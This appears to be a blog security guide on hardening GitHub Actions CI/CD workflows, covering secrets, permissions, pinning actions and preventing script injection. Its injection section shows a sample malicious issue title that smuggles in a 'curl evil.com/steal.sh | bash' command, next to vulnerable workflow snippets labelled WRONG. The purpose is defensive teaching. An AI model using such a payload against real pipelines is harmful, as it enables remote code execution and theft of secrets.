All articles
Deployment10 min readJanuary 12, 2026
GitHub ActionsCI/CDSupply ChainPermissions

GitHub Actions Security: Protecting Your CI/CD Pipeline

Secure your GitHub Actions workflows. Secrets management, permissions, and preventing supply chain attacks.

Security Guide

Your Pipeline Is an Attack Surface

GitHub Actions automates deployment. That automation has access to your secrets, your code, and your production environment. A compromised workflow compromises everything.

Secrets Management

Setting Secrets

  1. Repository → Settings → Secrets and variables → Actions
  2. New repository secret
  3. Use descriptive names: PRODUCTION_DATABASE_URL not DB

Accessing Secrets

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    env:
      DATABASE_URL: ${{ secrets.DATABASE_URL }}
    steps:
      - run: echo "Deploying..."

Secret Masking

GitHub automatically masks secrets in logs, but be careful:

yaml
# WRONG - Might expose secret
  • run: echo ${{ secrets.API_KEY }}
# WRONG - Base64 encoded secrets appear in logs
  • run: echo ${{ secrets.API_KEY }} | base64
# RIGHT - Use secrets directly in commands
  • run: curl -H "Authorization: Bearer $API_KEY" https://api.example.com
env: API_KEY: ${{ secrets.API_KEY }}

Environment Secrets

For sensitive deployments, use environments:

  1. Settings → Environments → New environment
  2. Add protection rules (required reviewers)
  3. Add environment secrets
yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production  # Uses production secrets
    steps:
      - run: deploy.sh

Workflow Permissions

Principle of Least Privilege

yaml
# WRONG - Default permissions are too broad
jobs:
  build:
    runs-on: ubuntu-latest

# RIGHT - Explicit minimal permissions jobs: build: runs-on: ubuntu-latest permissions: contents: read packages: write

Available Permissions

yaml
permissions:
  contents: read       # Checkout code
  packages: write      # Publish packages
  issues: write        # Comment on issues
  pull-requests: write # Comment on PRs
  actions: read        # Read workflow status
  id-token: write      # OIDC authentication

Repository Default

Settings → Actions → Workflow permissions → Read repository contents

Third-Party Action Security

Pin to Specific Commits

yaml
# WRONG - Tag can be moved to malicious code
  • uses: some-org/some-action@v1
# BETTER - Specific version
  • uses: some-org/some-action@v1.2.3
# BEST - Pin to commit SHA
  • uses: some-org/some-action@a1b2c3d4e5f6...

Verify Action Sources

Before using any action:

  1. Check the source repository
  2. Review recent changes
  3. Look for security advisories
  4. Prefer official actions (actions/*)

Dependabot for Actions

yaml
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Preventing Script Injection

The Problem

yaml
# VULNERABLE - User input directly in script
  • run: echo "Issue: ${{ github.event.issue.title }}"
An attacker could create an issue titled:
"; curl evil.com/steal.sh | bash; "

The Fix

yaml
# SAFE - Pass through environment variable
  • run: echo "Issue: $ISSUE_TITLE"
env: ISSUE_TITLE: ${{ github.event.issue.title }}

Dangerous Contexts

Be careful with these inputs:

  • github.event.issue.title
  • github.event.issue.body
  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.comment.body
  • github.head_ref

Protecting Sensitive Workflows

Require Approval for External PRs

yaml
# Only run on internal PRs automatically
on:
  pull_request:
    types: [opened, synchronize]

jobs: build: # External PRs need approval if: github.event.pull_request.head.repo.full_name == github.repository runs-on: ubuntu-latest

Environment Protection Rules

  1. Create "production" environment
  2. Add required reviewers
  3. Add deployment branches restriction
yaml
jobs:
  deploy:
    environment: production  # Requires approval
    runs-on: ubuntu-latest

OIDC for Cloud Providers

Avoid long-lived credentials:

AWS

yaml
jobs:
  deploy:
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789:role/github-actions
          aws-region: us-east-1

Vercel

yaml
- uses: amondnet/vercel-action@v25
  with:
    vercel-token: ${{ secrets.VERCEL_TOKEN }}
    vercel-org-id: ${{ secrets.VERCEL_ORG_ID }}
    vercel-project-id: ${{ secrets.VERCEL_PROJECT_ID }}

Audit Logging

View Workflow Runs

  1. Actions tab → All workflows
  2. Click on specific run
  3. Review steps and outputs

Security Alerts

Enable:

  • Dependabot alerts
  • Code scanning alerts
  • Secret scanning alerts

Secure Workflow Template

yaml
name: Secure Deploy

on: push: branches: [main]

# Repository-level permissions (minimal) permissions: contents: read

jobs: build: runs-on: ubuntu-latest permissions: contents: read steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2 with: node-version: '20' - run: npm ci - run: npm test

deploy: needs: build runs-on: ubuntu-latest environment: production permissions: contents: read id-token: write steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 - name: Deploy run: ./deploy.sh env: DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Workflow Security Checklist

SECRETS
=======
[ ] All secrets in GitHub Secrets (not in code)
[ ] Minimal secrets per workflow
[ ] Environment secrets for production
[ ] Secrets never echoed to logs

PERMISSIONS =========== [ ] Explicit permissions on all jobs [ ] Minimal permissions per job [ ] GITHUB_TOKEN permissions restricted

ACTIONS ======= [ ] Actions pinned to SHA [ ] Dependabot enabled for actions [ ] Third-party actions reviewed [ ] Prefer official actions

INPUTS ====== [ ] User inputs through env vars [ ] No direct interpolation of untrusted data [ ] External PR workflow protection

ENVIRONMENTS ============ [ ] Production environment defined [ ] Required reviewers for production [ ] Branch restrictions configured

The Bottom Line

GitHub Actions is powerful. That power requires careful security configuration. Pin actions, minimize permissions, protect secrets, and sanitize inputs.

Your CI/CD pipeline has keys to your kingdom. Protect it accordingly.

Ready to secure your AI-generated code?

Stop reading about vulnerabilities. Start fixing them.

Start Scanning Free